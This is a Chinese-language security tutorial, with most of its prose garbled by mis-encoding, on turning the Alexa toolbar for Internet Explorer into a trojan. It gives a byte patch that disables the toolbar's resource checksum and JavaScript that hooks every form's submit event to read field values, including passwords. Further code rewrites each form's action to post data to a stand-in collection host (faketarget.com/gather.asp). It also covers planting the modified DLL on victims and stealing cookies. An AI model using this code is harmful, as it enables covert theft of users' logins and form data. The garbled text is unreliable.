��Alexa��������װ��ľ��
Alexa��һ������ȫ����վ������Ϣ����վ��������ַ��http://www.alexa.com��Alexaͨ���ڿͻ��˰�װAlexa���������ռ�����ȫ����վ�ķ������ݣ�����Щ����Ϊ���ݶ�ȫ����վ���������������ڵ��������ʵ�ͳ�ơ�Alexa��������һ��������Google��������IE������������������URL������:http://download.alexa.com/index.cgi��
һ��Alexa�������Ĺ���ԭ��
����Alexa��������һ�ֻ���BHO��Toolbar Bands������һ��IE����������DLL�ļ�����ʽ������ϵͳ�У���һ��COM������IE��������ʱ�������ص�����������ȥ������һ�������·���ǽ������ֹ���������������ģ�����Ϊ����ľ����ɫ�ṩ�������ı��������ұȱ���Sniff�����ռ������������ǣ�������HTTP����HTTPS����վ������ͨ��ͨ���Ƿ����ܣ�ֻҪ��IEҳ���ı��������ռ���������ԭ�����Բο�������Alexa��������һЩ������
����ϵͳ�ڰ�װ��Alexa����������ϵͳĿ¼������AlxTB1.dll��AlxRes.dll����DLL�ļ�(��Щ��������AlxTB2.dll��������AlxTB1.dll��������ΪAlexa���������Զ��������µ�ԭ��)��Alexa����������Ҫ�����ƴ���������AlxTB1.dll�ļ��У������ļ�ͬʱҲ��ע���ɶ���COM��������������BHO��Toolbar Bands��COM�ӿڣ�����IE��WebBrowser�ؼ���װΪһ��COM������AlxRes.dll���á�AlxRes.dll�ļ������������Ķ����ƴ��룬�����Ĵ�����HTML��javascript���룬��������Դ����ʽ������AlxRes.dll�ļ��У�������ͨ��res://AlxRes.dll/CHTML/about.html������URL��������Щ��Դ��Ҳ���������֣��ֲ�������վ��Ϊʲô�����Ĵ�������javascriptд�ģ�������Alexa�����������ĵط���Alexa������������������HTML+javascriptʵ�ֵġ���Щjavascript����ͨ������AlxTB1.dllʵ�ֵ�COM�ӿ���ʵ��������ȫ�����ܡ���������������������Ч�ʵ��£����Ҳ�����������Դй©��������һ��VERY����SB�Ŀ���ģʽ������ȴΪ������Alexa�������Ĺ����ṩ�˷��㡪����������ҪCRACKER֪ʶ��ֻҪһ��PE��Դ�Ĺ��߾Ϳ��Զ�Alexa�������Ĵ����������ˡ�
�����ƽ�Alexa������
������Ȼ��AlexaҲ������ɵ�����Բ����������Լ��Ĵ��뱻������Դ�Ĺ��������ġ�Ϊ�˷�ֹAlxRes.dll�е���Դ�������ģ�����ȡ�˼����ļ�У���͵ı���������Ҫ�Ƿ����ļ����ģ��ͻ��ܾ����ء��������Ĵ���ǰ�������ƽ����ֱ������ơ�
����AlxTB1.dll����һ������ChecksumResources�ĺ��������������������������ļ�У���͵ġ���c32asm������AlxRes.dll�ļ����鿴�ַ��������б����ҵ�"ChecksumResources"�ַ�������ת�����ø��ַ����Ĵ��룬��100017C0�������·����У���100017F6���ҵ�һ����ת�����ñ��Ʒ�ʽ����NOPָ���JNZָ��ɡ�ͨ�㽲�����ǽ�AlxRes.dll�ļ�ƫ��"0x17F6"���������ֽ�"75 11"�ij�"90 90"��������ʹ��WinHex֮����16���Ʊ༭�������ġ�
::100017C0:: 68 9C700010 PUSH 1000709C :BYJMP JmpBy:100017A4,100017B1, ->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE :JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI :BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 :JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 :JMPDOWN ;����������
�����������ǿ��Ժ��˼ɵ���AlxRes.dll�е���Դ�ˡ����Բο����°汾�� Alexa Toolbar �ƽⷽ����(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)
������Alexa�������Ĵ���
������ϤIE���̵��˶�֪����DWebBrowserEvents2�ӿ�����������WebBrowser���¼�֪ͨ�ģ����ǿ�����AlxRes.dll��javascript�������ҵ���ЩЩ��Ӧ�ĺ�������res://AlxRes.dll/SCRIPT/EVT.CLASS.JS�Ĵ����У���һϵ�е�javascript��������Ӧ��DWebBrowserEvents2�ӿڵij�Ա���磺DocumentComplete->BP_onDocumentComplete��NavigateComplete2->BP_onNavigateComplete��BeforeNavigate2->BP_onBeforeNavigate������DWebBrowserEvents2�ӿڣ����ǿ�����BeforeNavigate2�нػ�PostData��������AlxRes.dll�Ĵ����У������ӿ�û����ȫʵ�֡���DWebBrowserEvents2�ӿ��е�ԭ���ǣ�
void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);
���������е�PostData�����˵�Post���ݡ���BP_onBeforeNavigate�ĺ���ԭ�ͣ�
function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);
��������,bPostDataֻ�Ǹ�BOOL���͵ı�������·��ͨ�����������취��
����һ����˵��������IE���������û������붼��ͨ�������ύ���������ģ��������ڱ����ύǰ�ػ����������ݾͿ���ʵ����ȡ�����ˡ���javascript�У�ֻҪ����������"OnSubmit"�¼����Ϳ��������ύ���������������ݡ���AlxRes.dll�Ĺ���Ҳ����javascriptʵ�ֵģ��������Ǿ��������Է�����COM�ӿڣ���ֱ��ʹ��javascript�ˡ�
�����������Ƽ�ʹ��Resource Hacker����AlexRes.dll�е���Դ�����˸о���eXeScope������ˬ���ˡ�
�ġ��ػ���ҳ����������
����������ʹ�õķ�����Щ������"��վ���ű�ִ��©��"����������"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"�е�"BP_onDocumentComplete"������
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
�����ú�����IE�ĵ�ǰ����ҳ�汻��������ʱ�����ã����е� oWebBrowser2 �������Ե�����ǰIE����������ҳ����window�����������㶮��javascript�Ļ���������Ҫ����������ʮ�ּ����ˡ��������´��룺
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].onsubmit=test;
}
}catch(e){}
return false;
}
�������δ��������þ���ö�ٵ�ǰҳ�������еı�������Ϊ��Щ��������OnSubmit�¼�����������������test�����ˣ�
function test()
{
try{
window.alert("I can get the value!");
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
window.alert(this.elements[i].name+":"+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}
�������������ַ�������һ���ˣ���������ͨ��javascript����"Submit()"�ύʱ����������"OnSubmit"�¼��������Ĵ���Ҳ������¼�±����������ˡ����Բ��øı������ύ��ַ�ķ����������������⣺
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value='"+oWebBrowser2.document.forms[i].action+"'>";
oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}
�������ϵĴ�������ijЩҳ���������⣬��ʱ�����������ֶ����ӵ�������ȥ��
�塢ɢ����ֲ��ľ��
�������ϴ���������PE��Դ������AlxRes.dll�ļ�ʵ�ֵġ����ԣ�ֻҪ���µ�AlxRes.dll�ļ���ԭ��ϵͳ��AlxRes.dll�滻����Alexa�������ڼ��ص�ʱ����������"C:Program FilesInternet Explorer"��"C:Documents and Settings[username]����"������·��������AlxRes.dll������Ҳ�����Ĺ���AlxRes.dll�ŵ�������·���£������Ͳ��ø���Դ�ļ��ˡ�������ô��װ���ǿ�����һ���ѵ�IE©��������ȥExploit�أ����ɲ��DZ����漰�ķ�Χ��
������װ��Alexa��������IE��"User-Agent"������"Alexa Toolbar"�ı��ǣ����Ժ���������Ŀ����IE�Ƿ��Ѿ���װ��Alexa��������
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
����Ҳ������Alexa�İ�װ�ļ���������Alexa�����������������������ͳ�Զ�ˡ�
�����ռ�����
������������FileSystemObject�ؼ������������ݼ�¼���ļ�������ֱ����Ϊ�������͵�ij��Web����������web�������ռ���¼�������ɡ�Ϊ���ڿͻ��˹���һЩ�����������ı�����������AlxRes.dll�Ĵ����ж��ռ��ı������ݽ���һЩ���飺
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(IsPwdForm)
{
//�������������ı��������ռ�
}
}catch(e){}
return true;
}
�ߡ�������Ӧ��
�������������������е�½��������ActiveX�ؼ�ʵ�ֵģ����ػ��������ݣ��������ǿ���ͨ��"oWebBrowser2"���������ݡ���������ҳ�棬��ȻҲ����α��һ���������еĵ�½���档�����������ռ��û�������ҳ�ļ�¼��Ҳ����������ȡ�û�COOKIE�ȡ�
===============================================
���İ�Ȩ��20CN���簲ȫС�鼰����������,����ת��,�뱣�����������Բ�ע������
- ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
- �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
- �������е���ɫ
- �������ж�IP��ַ��A��B���C��
- ������ϵ��Ц�� (ʷ����ȫ��
- ��Google���������ŵ���ͨv4.0
- ���ٶ�ͳ��URL��hm������utm�����Ķ�Ӧ��ϵ
- ���������ԡ���װ Windows XP ����ϵͳ��ͼ��ȫ����
- ��ƻ������MACbook Air���ݼ���ȫ
- ��Linux��ʹ��host��dig��nslookup��ѯDNS
- �����Լ���VPS�Google��������
- ��С�ڴ�VPS֮Nginx+PHP-fpm�߸����Ż���ѹ�����Է���
- ������������������̸�����ɶ��ر�
- ��������������ѡʳƷ����2020�ļ��ȵ�Ͷ�ʲ��Ժ���������
- �����ڵ�����֤50���ƴ�50����ָ֤�������Ĺ���
- ����֤50����Щ��Ʊ_��֤50Ȩ����������
- ������300����֤50����֤500��ָ��2019���ڶ��ζ��ڵ���������
- ������300��ֵ/�ɳ�ָ�����Ʒ����������й�ƽ��Ȩ���½�
- ����ָ֤��������֤50��ָ��������
- ����ָ֤��������֤����ָ��������
- ����ָ֤��������֤100ָ��������
- ����ָ֤����������300ָ��������